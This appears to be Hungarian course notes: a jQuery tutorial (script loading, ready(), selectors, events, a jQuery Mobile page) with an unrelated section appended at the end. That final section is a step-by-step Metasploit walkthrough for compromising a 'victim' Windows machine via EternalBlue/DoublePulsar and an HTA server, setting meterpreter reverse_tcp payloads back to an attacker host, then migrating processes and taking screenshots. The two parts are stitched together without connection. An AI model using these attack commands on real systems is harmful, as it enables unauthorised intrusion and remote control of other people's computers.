Egyszerű és hatékony programozási felülete, jó dokumentáltsága miatt. Az egyik legnépszerűbb JavaScript keretrendszer, rengeteg bővítmény tölthető le hozzá. Használata megkönnyíti HTML dokumentumok bejárását, manipulálását, animálását, stílusok módosítását, események kezelését, az AJAX-os kommunikációt. A benne írt kódunk böngészőfüggetlen lesz, azaz bármelyik böngésző bármelyik verziójában ugyanazt az eredményt kapjuk. A jQuery-t az utóbbi időben több projektre bontották, a jQueryUI különböző felületi komponenseket definiál, míg a jQuery Mobile mobilalkalmazások készítését könnyíti meg jQuery alapokon különböző felületi elemeket definiálva.

Használat

A jQuery használatához le kell tölteni az aktuális verziót a jQuery oldaláról, és azt a dokukmentumunk <head> részében egy <script> elemmel külső forrásként betölteni. Ekkor már lokálisan tudunk vele dolgozni.

<script src="jquery.js"></script>

Állandó internetkapcsolat mellett másik lehetőség egy CDN szerveren tárolt változat használata.

<script src="http://code.google.com/apis/ajaxlibs/documentation/index.html#jquery"></script>

A következőkben ismertetett példák tesztoldalául példaalkalmazásunk egyik oldalát választottuk.

Meghívása!

A jquery használatához, mindig meg kell hívni, valamelyik jquery motor típusát, a <head> szakaszban. (Lehetőleg, a legújabbat.)

Alapismeretek elsajátításához, megismeréséhez, a következő jQuery meghívása is, megfelel:

<script src=https://ajax.googleapis.com/ajax/libs/jquery/1.12.0/jquery.min.js></script>

Meghívása ugyan úgy történik, mint a JavaScript fájlok meghívása.

A jquery motor típusait, lásd a következő címeken:

1. https://code.jquery.com/jquery/

2. https://jquery.com/download/

JavaScript programunkat megírhatjuk közvetlen a html fájlban vagy külső js fájlban.

Script megírása vagy külső js fájl meghívása hól legyen, ezt a program készítője dönti el.

1. Script megírása vagy külső js fájl meghívása a head szakaszban. (Ez a gyakorlati alkalmazás.)

2. Script megírása vagy külső js fájl meghívása body szakaszban, a szövegfolyamban.

3. Script megírása vagy külső js fájl meghívása body szakaszban, a szövegfolyam végén.

A ready metódussal közöljük a program felé, hogy ebben a függvényben (function) megírt scriptünk betöltődése, az oldal tartalmának betöltődése után történjen.

$(document).ready(function(){ ............... .............. .............. });

Példák

1. Példa.

<head>

<title>jquery</title>

      // Valamelyik jquery verzió meghívása.

<script src=https://ajax.googleapis.com/ajax/libs/jquery/1.12.0/jquery.min.js></script>

<link href="stilus.css" rel="stylesheet" type="text/css" />

                             <script type="text/javascript">

                               $(document).ready(function(){

                                     // Ide jön, vagy jönnek a jquery vagy JavaScript meghatározások.

                               });

                             </script>

</head>

<body>

<h1>Címsor</h1>

<p>html tartalom.</p>

</body>

2. Példa.

<head>

<title>jquery</title>

      // Valamelyik jquery verziójának meghívása.

<script src=https://ajax.googleapis.com/ajax/libs/jquery/1.12.0/jquery.min.js></script>

<link href="stilus.css" rel="stylesheet" type="text/css" />

</head>

<body>

<h1>Címsor</h1>

<p>html tartalom.</p>

                             <script type="text/javascript">

                               $(document).ready(function(){

                                     // Ide jön, vagy jönnek a jquery vagy JavaScript meghatározások.

                               });

                             </script>

<p>html tartalom.</p>

</body>

3. Példa.

<head>

<title>jquery</title>

      // Valamelyik jquery verziójának meghívása.

<script src=https://ajax.googleapis.com/ajax/libs/jquery/1.12.0/jquery.min.js></script>

<link href="stilus.css" rel="stylesheet" type="text/css" />

</head>

<body>

<h1>Címsor</h1>

<p>html tartalom.</p>

<p>html tartalom.</p>

                             <script type="text/javascript">

                               $(document).ready(function(){

                                     // Ide jön, vagy jönnek a jquery vagy JavaScript meghatározások.

                               });

                             </script>

</body>

 

 

Bemutató példa.

Stílusok meghatározása, CSS fájlban:

.kek{font-weight: bold; color: blue;}

.sargah{background-color: yellow; padding-right: 5px; padding-left: 5px;}

Első példa:A jQuery, azaz, a JavaScript programot, head szakaszban írjuk meg.

<html>

<head>

<title>A jquery.</title>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">

<script src=https://ajax.googleapis.com/ajax/libs/jquery/1.12.0/jquery.min.js></script>

<link href="stilus.css" rel="stylesheet" type="text/css" />

    <script type="text/javascript">

        $(document).ready(function(){

                   $("#btn01").click(function(){

                        $("p.cls01").addClass("kek");

                    });

                   $("#btn02").click(function(){

                        $("p.cls01").addClass("sargah");

                    });

                   $("#btn03").click(function(){

                        $("p.cls01").removeClass("kek sargah");

                    });

        }); 

    </script>

</head>

<body>

Második példa:

A jQuery, azaz, a JavaScript programot, külön js fájlban írjuk meg.

<html>

<head>

<title>A jquery.</title>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">

<script src=https://ajax.googleapis.com/ajax/libs/jquery/1.12.0/jquery.min.js></script>

<link href="stilus.css" rel="stylesheet" type="text/css" />

<script language="JavaScript" type="text/javascript" src="jquery_teszt.js"></script>

</head>

<body>

<p class="cls01"> ----------------- Ez egy jquery teszt! ----------------- </p>

<button id="btn01">Kattints ide!</button> 

<button id="btn02">Kattints ide!</button>  

<button id="btn03">Kattints ide!</button>

</body>

</html>

jquery_teszt nevű, és js kiterjesztésű fájlunk, megírása.

        $(document).ready(function(){

                   $("#btn01").click(function(){

                        $("p.cls01").addClass("kek");

                    });

                   $("#btn02").click(function(){

                        $("p.cls01").addClass("sargah");

                    });

                   $("#btn03").click(function(){

                        $("p.cls01").removeClass("kek sargah");

                    });

        }); 

Függvények

Nézzük meg a legfontosabb jQuery függvényeket példákkal

Érdemes létrehoznod magadnak egy HTML dokumentumot egy #box div-el, amibe teszel némi szöveget és végig próbálgatni mi történik az alábbi utasításokkal. Mindent a $( document ).ready(function() {…}); részen belülre írj, így:

[js]$(document).ready(function() {

$(‘#box’).hide();

});[/js]

[js]$(‘#box’).hide();[/js]

Elrejti a #box elemet, ha az látható.

[js]$(‘#box’).show();[/js]

Mutatja a #box elemet, ha az rejtve van.

[js]$(‘#box’).html(‘<strong>Hello</strong>’);[/js]

A #box elem tartalmát kicseréli a megadott sztringgel.

[js]$(‘#box’).append(‘<strong>Hello</strong>’);[/js]

A kijelölt #box elem tartalma után beilleszt egy elemet a DOM-ba.

[js]$(‘#box’).prepend(‘<strong>Hello</strong>’);[/js]

A kijelölt #box elem tartalma elé beilleszt egy elemet a DOM-ba.

[js]$(‘#box’).appendTo("selected");[/js]

A kijelölt #box elem után beilleszt egy elemet a DOM-ba.

[js]$(‘#box’).prependTo("selected");[/js]

A kijelölt #box elem elé beilleszt egy elemet a DOM-ba.

[js]$(‘#box’).css( "color", "red" );[/js]

A kijelölt #box elemhez inline style-t ad, így CSS attribútumokat tudunk megadni.

[js]$(‘#box’).attr( "src", "img/kep.jpg");[/js]

A kijelölt #box elem bármely attribútumának megadása, vagy módosítása. Itt egy kép src attribútumát cseréljük ki a megadott képpel.

[js]$(‘#box’).val();[/js]

Kiválasztja, vagy átállítja a value attribútumát a #box elemnek, itt a #box egy input mező, nem div

[js]$(‘#box’).text();[/js]

A #box elem szövegét adja vissza.

[js]$(‘#box’).find(‘p’);[/js]

Megtalálja a #box elem en belül az összes bekezdést.

[js]$(‘.box’).each();[/js]

Ismétli a kiválasztását az összes .box osztályú elemnek.

[js]$(‘#box’).addClass("selected");[/js]

“selected” osztály hozzáadása a #box elemhez.

[js]$(‘#box’).removeClass("selected");[/js]

“selected” osztály eltávolítása a #box elemről.

[js]$(‘#box’).toggleClass("selected");[/js]

“selected” osztály hozzáadása, ha nincs a  #box elemen / eltávolítása, ha van a #box elemen.

[js]$(‘#box’).hasClass("selected");[/js]

Az eredmény igaz, ha a #box elemnek, van “selected” osztálya.

[js]$(‘#box’).children();[/js]

Kiválasztja a #box elem gyerek elemeit.

[js]$(‘#box’).closest("p");[/js]

Kiválasztja a #box elemhez legközelebbi bekezdést.

[js]$(‘li’).eq(3);[/js]

Elemek keresése index szerint. Minden gyermek elem nulláról indítja az indexét, így a fenti példában az .eq(3) azt jelenti, hogy a lista 4. eleme kerül kiválasztásra.

[js]$(‘#box’).find("li");[/js]

Keresi a kiválasztott elemnek megfelelő leszármazott elemeket.

[js]$(‘#box’).first();[/js]

Kiválasztja a testvér elemek közül az elsőt.

[js]$(‘#box’).last();[/js]

Kiválasztja a testvér elemek közül az utolsót.

[js]$(‘#box’).next();[/js]

Kiválasztja a testvér elemek közül a következőt.

[js]$(‘#box’).prev();[/js]

Kiválasztja a testvér elemek közül az előzőt.

[js]$(‘#box’).parent();[/js]

Kiválasztja az elem szülő elemét.

[js]$(‘.box’).siblings();[/js]

Kiválasztja az elem összes testvér elemét.

[js]$(‘#box’).animate();[/js]

#box elem animálása, a függvényen belül megadhatod, az animálás paramétereit

[js]$(‘#box’).fadeIn(300);[/js]

Előtűnés 300 milliszekundum időegység alatt.

[js]$(‘#box’).fadeOut(300);[/js]

Eltűnés 300 milliszekundum időegység alatt.

 Eseménykezelés

Lehetőségünk van dinamikus weboldalak létrehozására események használatával. Az események olyan tevékenységek, amelyeket a webalkalmazás észlelhet. A következő példák a következők:

Egérkattintás .click()

Változás – .change()

Egy egér átfutása/lefutása egy elemről – .mouseenter(), .mouseleave()

Billentyű lenyomás (pl: Esc)- .keyup()

Betöltődés – .load()

Bővebben itt

Összefűzés

A jQuery lehetővé teszi, hogy többféle módszert is végrehajtsunk ugyanazon az elemen. Ezeket nevezzük utasításláncnak. Valójában azért hasznos mert megkímél Téged és a böngészőt, hogy többször meghívd ugyanazt az elemet.

[js]$("#box").text("Hello, world!").css("color", "blue");[/js]

A fenti kifejezést az jelenti, hogy válasszuk ki a #box elemet, adjunk hozzá a div-hez egy “Hello, world!” szöveget, majd szinezzük az egészet kékre.

A JavaScript egy programozási nyelv

Ami azt jelenti, hogy a programozás során tanult fogalmak itt is érvényesek, változók, utasítások, logikai műveletek itt is használhatóak.

[js]var boxtext = $("#box").text();[/js]

Egy boxtext változóbaan tárolom a #box div szöveges tartalmát.

Példa

<!DOCTYPE html>

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

<script type="text/javascript" src="jquery-3.0.0.min.js"></script>

<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />

<hta:application 

   id="MyApp"

   applicationName="same"

   version="1.0"

></hta:application>

</head>

<body>

<p>Anything ... </p>

</body>

<script type="text/javascript">

$( document ).ready( function() {

console.log( "ready!" );

});

</script>

</html>

Milyen eszközöket ad a kezünkbe a JQuery:

Eseménykezelések

Effektek

Módosítók

Kijelölők

Attribútum módosítók

AJAX kérések kezdeményezéséhez és lekezeléséhez

Felhasználói interfész

…

A lista nem teljes mivel az elérhető Pluginekkel szinte minden feladatra találunk megoldás pl.: *.csv kezelés, audió és videó lejátszáshoz stb..

JQuery-ről általánosságban:

Unobtrusive JavaScript (Diszkrét javaScript) kódolásra nevel

Böngésző ‘független’ JavaScript fejlesztéseket készíthetünk.

Rendkívül kisméretű, de nagy tudású keretrendszer (tömörítve 15 KB).

CSS 1-3 kompatibilis.

Nem ad kész megoldásokat, a programozó nem hiányozhat a gépezetből.

Rengetek kész Plugin érhető el hozzá, Plugin repója van

Rendkívül jól dokumentált, több könyv is elérhető hozzá.

Felhasználói interfészt is elérhető hozzá.

Folyamatos fejlesztés alatt van.

Több nagy projekt a JQuery mellet tette le a voksát.

Könnyen tanulható, kevés kóddal tudunk látványos produktumokat készíteni.

MIT licenc alatt használható és tölthető le.

Mit kell tenned azért, hogy elkezd használni, tanulni a JQuery:

Ha nem programoztál még semmilyen programnyelvben ebből a cikkből nem fogsz megtanulni, viszont ha a sikerek láttán elkap a gépszíj akkor már nincs kiszállás. A JQueryt megtanulni nem nehéz, de türelem kell hozzá, viszont cserébe nagyon izgalmas utad lesz. Életet vihetsz egy statikus HTML oldalba, vagy akár GUI-val (grafikus felhasználói interfész) rendelkező szoftverektől megszokott kényelmi funkciókat plántálhatsz webes alkalmazásaidba.

Én személy szerint fontosak tartom az effekteket, de ennél is fontosabb az, hogy a honlapod a felhasználók számára egyszerűen kezelhető legyen. A JQuery-vel minden eszközöd megvan egy jó navigáció vagy egy egyszerűen használható adminisztrációs felület létrehozásához.

Az első JQuery szkripted:

Töltsd le a hivatalos oldalról a legújabb JQuery változatot, majd linkeld be a HTML dokumentumod [head] és [/head] közötti részbe. A példa letölthető, de a hivatalos oldalon is elolvashatod.

Mint a példában is láthatod, ha betöltődött a JQuery Lib utána ellenőrizzük az oldal betöltődését, majd jöhet a saját kódod.

[html][head] [script type="text/javascript" src="jquery-1.2.6.min.js"][/script] [script type="text/javascript"]

               //ellenőrzi a dokumentum betöltődését        $(document).ready(function(){

    // A kódodat itt helyezd el    alert("ok, az oldal betöltődött");

         });

    [/script]    [/head]

[body] [!-- HTML body, Ide kerül HTML tartalom --][/body][/html]

Mobilalkalmazás

Alap

A következőkben egy kétoldalas egyszerű mobilfelületet látunk.

index.html

<!DOCTYPE html>

<html>

<head>

 

<meta charset="utf-8" />

<title>JQM</title>

 

 

<link href="http://code.jquery.com/mobile/1.3.2/jquery.mobile-1.3.2.min.css" 

rel="stylesheet" type="text/css" />

<script src="http://code.jquery.com/jquery-1.9.1.min.js"></script>

<script src="http://code.jquery.com/mobile/1.3.2/jquery.mobile-1.3.2.min.js"></script>

 

</head>

<body>

 

 

<div data-role="page" id="az1">

 

  <div data-role="header"><h1>Fejrész</h1></div>

 

  <div role="main" class="ui-content">

      A te legjobb oldalad

     <a href="#az2" data-role="button">Második oldal</a>

  </div>

 

  <div data-role="footer">Has</div>

 

</div>

 

 

<div data-role="page" id="az2">

 

  <div data-role="header"><h1>Másik oldal fejrész</h1></div>

 

  <div role="main" class="ui-content">

      A másik weboldal

     <a href="#az1" data-role="button">Vissza</a>

  </div>

 

  <div data-role="footer">Has</div>

 

</div>

 

 

 

</body>

</html>

A mobilon megjelenő két oldal valójában egyetlen weblapon van. A két weboldalt egy-egy div elem tartalmazza. Egy oldal kezdete a data-role=„page” attribútumú div-el kezdődik.

A Dokumentum Objektum Modell (DOM)

A DOM egy standard objektummodell, amire a HTML, XML is épül. A modell egymással gyerek-szülő kapcsolatban álló objektumok rendszere. A kialakulása a böngészőháború kezdetére tehető, fejlődése a böngészők, illetve a JavaScript fejlődésével köthető össze. A DOM segítségével érhetjük el a HTML dokumentumunk elemeit, valamint a böngésző eseményeit, mint a kattintás, vagy a görgetés. A DOM-ban az elemeket node-nak, vagyis csomópontnak nevezzük.

Alap DOM szerkezet bemutatása:

<div>

   <p>Szöveg</p>

   <p>Szöveg</p>

</div>

div elem csomópont

– bekezdés elem csomópont

– – szöveg csomópont

– – szöveg csomópont

jQuery letöltése

A jQuery-t a jQuery.com oldalról tölthetjük le. A jelenlegi legfrissebb verzió az 1.10.1 és a 2.0.2 ( a 2-es verzió számú jQuery abban különbözik az 1-es jelölésűtől, hogy elhagyták az IE 6, 7, 8 támogatását ). Választhatunk, hogy letöltjük és miután elhelyeztük a könyvtárunkban a fájlt, hivatkozunk rá. Vagy választhatjuk a CDN linket, amit az oldal alján találhatunk, valamint a Google Code-ról is belinkelhetünk.

<script src="https://code.jquery.com/jquery-latest.js"></script>

Alap jQuery Kód

A JavaScript kódot, vagy a linket a külső fájlhoz két helyre tudjuk beszúrni a HTML fájlunkban: a head részbe és a záró body tag elé. Az utóbbinak a teljesítmény szempontjából van jelentősége, hiszen a kód a HTML kód után töltődik le.

Ezzel elő is jön az első probléma a JavaScript kódok futtatása során. Ha a JavaScript/jQuery kód a head részben található, akkor a kód az előtt fut le, mielőtt létre jönne maga a HTML dokumentum és annak a DOM-ja, vagyis mivel a kód lefutásakor még nem létezik, így módosítani/hozzáférni sem tudunk. Erre jelenthet megoldást a már említett záró body tag előtti elhelyezés, vagy a JavaScript-ben használatos onload eljárás jQuery megfelelője a ready() eljárás.

$( document ).ready(function() {

    console.log( "ready!" );

});

A fenti kódrészlet belsejében található console.log() függvény akkor fut le, ha a dokumentum teljesen betöltött. A kijelelőben található document elnevezéssel a dokumentumot jelöljük ki, míg a ready() eljárás segítségével elérhetjük, hogy a kód az oldal letöltődése után fusson le, vagyis akkor amikor már kész a HTML szerkezet.

$(function() {

    console.log( "ready!" );

});

Ugyanennek a megoldásnak létezik egy rövidebb változata, melyben a $ (jQuery definiáló karakter) után egy üres függvényt nyitunk, amiben elhelyezzük a futtatni kívánt kódot. Az üres függvény hívás egy megszokott eljárás jQuery-ben, amivel még sokat találkozunk az egyéb eljárások visszatérése során.

$(function() {

   $("div").click(function() {

      $("body").css("background", "#ccc");

   });

});

Tehát, a fent bemutatott kódrészlet, miután betöltött a dokumentum kattinthatóvá teszi a div elemünket, ami a kattintás hatására az egész törzs hátterét #ccc értékűre állítja.

Források:

https://webdesigntanfolyam.com/bevezetes-a-jquery-be/

http://ade.web.elte.hu/wabp/lecke12_lap1.html

https://api.jquery.com/

https://hu.admininfo.info/desarrollo-de-aplicaciones-web-din-micas-con-jquery

http://weblabor.hu/cikkek/sablonkezeles-jquery-alatt

MSFCONSOLE COMMANDS

Az SMB protokollon keresztül küldünk egy Shellkódot az áldozat gépének és mivel rosszul kezeli a beérkező kéréseket parancsokat le is fogja futtatni a Shellkódot, majd aztán jön a képbe a DobulePulsar ami a rendszermagot azaz a Kernelt támadja meg akár egy processen keresztül vagy más módszerrel, majd a memóriába helyezi el a Shellkódot, és ott fogja lefuttatni, majd ezt után teljes hozzáférést biztosít a rendszerhez, mivel a DoublePulsar lehetővé teszi nekünk, hogy bármiféle nyers shellkódot lefuttassunk, mintha buffer overflow-al próbálnánk bejutni a célgépbe, célzottan az alkalmazást támadjuk meg, majd aztán a memóriába végzünk egy kis mocskosságot az alkalmazáson keresztül.

Nos, a kiszivárogtatás után készült egy két exploit, hozzáteszem azt is, hogy a Metasploit Framework-hoz is, csak viszont a fejlesztők nem tették bele azt az exploitot ami képes kombinálni, vagy ha úgy tetszik kihasználni mind a két hibát, az exploit nyugodtan letölthető a GitHub-ról, ha letöltöttük mondjuk ZIP-be vagy ahogy jól esik, ki kell csomagolnunk és ez után, pedig a(z) .rb formátumú fájlt be kell tennünk az exploitok közzé, ugyanúgy a Kali Linuxot használom, Kali alatt a következő helyre kell tenni a(z) .rb fájlt: /usr/share/metasploit-framework/modules/exploits/windows/smb/

Átlagos Linux alatt általában a(z) /opt mappában találjuk a metasploitot, csak akkor az elérési útvonal ahová tenni kell, értelemszerűen nem /usr/share hanem /opt lesz a többi ugyanaz majdnem, miután elhelyeztük akkor indulhat is a tesztelés, először is meg kell nézni, hogy az adott gép sebezhető-e, ehhez is van egy modul a metasploiton belül amivel csekkolhatjuk, egyébként a támadás során a következő infókat tudni kell: Windows típus (XP, 7, Server ..stb ), hány bites a rendszer, áldozat ip címe.

Mindezeket egyszerűen megszerezhetjük, mondjuk PHP kóddal le tudjuk kérni a címet, a rendszert és, hogy hány bites általában az User-Agentből is kiderül, vagy millió mód van még rá, vagy ha nem akkor majd totózunk és úgy is deríthetjük ki. :)

Kezdjünk is bele, nyissunk egy parancssort majd írjuk be, hogy: msfconsole

Ezzel a paranccsal hívjuk elő a metasploit konzolt, és innen fogunk dolgozni a továbbiakban miután elindult, akkor adjuk ki neki, hogy: search eternalblue

Először is az elsőt fogjuk használni, mivel azzal fogjuk analizálni, hogy sebezhető-e a célgép, adjuk ki a következőt: use auxiliary/scanner/smb/smb_ms17_010
Ezzel a paranccsal megmondjuk a metasploitnak, hogy mi ezt a scanner modult szeretnénk használni, majd ez utána adjuk ki a következőt: show options

Itt láthatjuk, mit tudunk beállítani, itt ami lényeges most nekünk az az RHOSTS opció, na meg egyes esetekben az RPORT opció, de általában alapból a 445-ös porton fut az SMB protokoll az rhosts opciónak többet is megadhatunk ha scannelni akarunk, én most csak egyet fogok, adjuk ki a következőt: set rhosts áldozatip (pl: 192.168.1.0), majd ez után adjuk ki a run parancsot.

Nos, azt mondja a metasploit modul, hogy a célgép az úgy néz ki, mint egy sebezhető gép, most fogjuk elvégezni a konkrét támadást, adjuk ki a back parancsot, majd ez után kilép a modulból, aztán adjuk ki a következőt: use exploit/windows/smb/eternalblue_doublepulsar
Ugyanígy, megmondtuk, hogy ez kell használni nekünk, itt jóval több beállítandó opciót látunk.

Tájékoztatóként megjegyezte a fejlesztő, hogy milyen adott processbe kell nekünk majd injektálni a kódunkat, hogy lefuthasson, 32 bites rendszer esetén a(z) wlms.exe fájlba kell injektálni, ez a process felet azért, hogy figyelemmel kísérje a Windows szoftverlicencének állapotát, 64 bites rendszer esetén pedig az lsass.exe folyamatba kell injektálni amin keresztül le fog futni a kártékony kód az lsass.exe fele a biztonsági házirendek érvényesítéséért, valamint annak betartásáért, jelszó módosításokra figyel és access token-t generál ha úgy adódik.
Nos, nekem 64 bites rendszer van, ezért kettő dolgot alapból át kell állítanom, ha neked is 64 bites akkor add ki a következő parancsokat: set processinject lsass.exe
Majd ezt: set targetarchitecture x64
Ha nincs akkor ezeket nem kell elvégezned, valamint Windows 7. rendszer, ezért a target-et úgy hagyom, ha mégis más rendszert akarsz megcélozni, akkor add ki a show targets parancsot, majd ott kiadja melyik rendszernek melyik az id-je és add ki a következőt: set target szám (pl: 1)
Az exploitnak van egy mappája amiből a szükséges libeket veszi ki, ez alatt a támadásokhoz szükséges fájlokat értem, ez általában stimmelni szokott, nekem az elérési út a /root/Eternalblue-Doublepulsar-Metasploit/deps/ ha neked eltér az elérési út amit a DOBULEPULSARPATH és az ETERNALBLUEPATH opció paramétereiben látsz akkor beállíthatod így: set DOBULEPULSARPATH /elérési útvonal/
Az eternalblue-t így: set ETERNALBLUEPATH /elérési útvonal/
Ennek az exploitnak szüksége van a wine nevű programra, ami egy Windows emulátor, mivel windows-on futó fájlokat fog létrehozni amit majd később felcsempész a gépre, ha még nincs telepítve teljesen ezt kell tenned:

dpkg --add-architecture i386 && apt-get update && apt-get install wine winetricks wine32

Ha minden készen áll már csak pár lépés van, be kell állítani a támadandó host-ot így: set rhost ip cím (pl: 192.168.1.1)
Ez után kell egy payload, azaz a kód amit fog injektálni, vegyük úgy, hogy az exploit a rakéta de viszont a rakétával célba is kell juttatni valamit, ebben az esetben a payload a rakétának a feje az egész robbanó töltet ha úgy tetszik, ebben az esetben a klasszikus meterpreter lesz az, adjuk ki a következő parancsot: set payload windows/x64/meterpreter/reverse_tcp
32 bites rendszer esetén: set payload windows/meterpreter/reverse_tcp
majd állítsuk be azt a hostot amire a célgépnek vissza kell nyitnia és amivel úgymond beszélgetni fog, mert beszélgetni kell. :)
parancs: set lhost a te ip címed (pl: 192.168.1.110)
Ez után a végső lépés kiadni a run parancsot.

Másik módszer

ifconfig

msfconsole

msf5 > use expolit/windows/misc/hta_server

msf5 exploit(windows/misc/hta_server) > set lhost 192.163.1.23

set srvhost 192.163.1.23

set payload windows/meterpreter/reserve_tcp

set lport 8111

exploit

server started

sessions

sessions -i 1

meterpreter > sysinfo

--------------

nmap 192.168.0.186 -Pn -sV

135/tcp msrpc

sudo msfconsole

msf6> searc smb

use auxiliary/scanner/smb/smb/smb_ms17_010

set RHOSTS 192.168.0.186

run

grep exploit

set rhosts 192.168.0.186

exploit

sysinfo

meterpreter> ps

migrate 4020

screenshot

----------------

https://www.hackingtutorials.org/metasploit-tutorials/metasploit-commands/

https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/

https://www.youtube.com/watch?v=Iy2pXcNfYkg